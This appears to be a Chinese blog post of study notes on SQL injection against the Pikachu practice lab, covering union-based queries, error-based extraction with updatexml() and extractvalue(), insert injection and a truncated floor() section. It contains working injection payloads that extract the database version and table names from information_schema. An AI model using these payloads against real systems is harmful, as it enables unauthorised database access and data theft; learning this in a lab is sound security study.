sql注入 关键函数的使用

一、基于union函数的联合查询:

1.在数据库中通过union函数查询username和password等信息,如下

2.在pikachu中,通过字符型输入,通过union函数构建查询数据库名称和版本的语句:

x' union select database(),version()#

 

 二、基于报错的方式获取信息:

三、通过updatexml()函数对版本进行查询,但是显示的报错信息并不显示版本信息,这是因为关键信息被屏蔽了。

x' and updatexml(1,version(),0)#

通过cancat函数拼接version()内容,通过0x7e是这个符号~的16进制,是为了放置隐藏信息不被吃掉,可以得到pikachu这个数据库,如下:

x' and updatexml(1,concat(0x7e,version()),0)#

 通过以下内容可以得到以下表的名称:

x' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

 

 二、insert注入:

将要插入的用户名改成上诉的语句后,可以看到通过报错,得到数据局哭的把版本为

x' or updatexml(1,concat(0x7e,version()),0) or '

 四、通过extractvalue函数对数据库进行报错

 

x' and extractvalue(0,concat(0x7e,version()))#

 

 五、基于floor()函数,进行报错:

通过在数据库总对floor函数进行操作,可以看到他对数字整数部分进行取整,小数部分舍去。

 

posted @ 2024-07-11 16:14  墨VS雪  阅读(8)  评论(0编辑  收藏  举报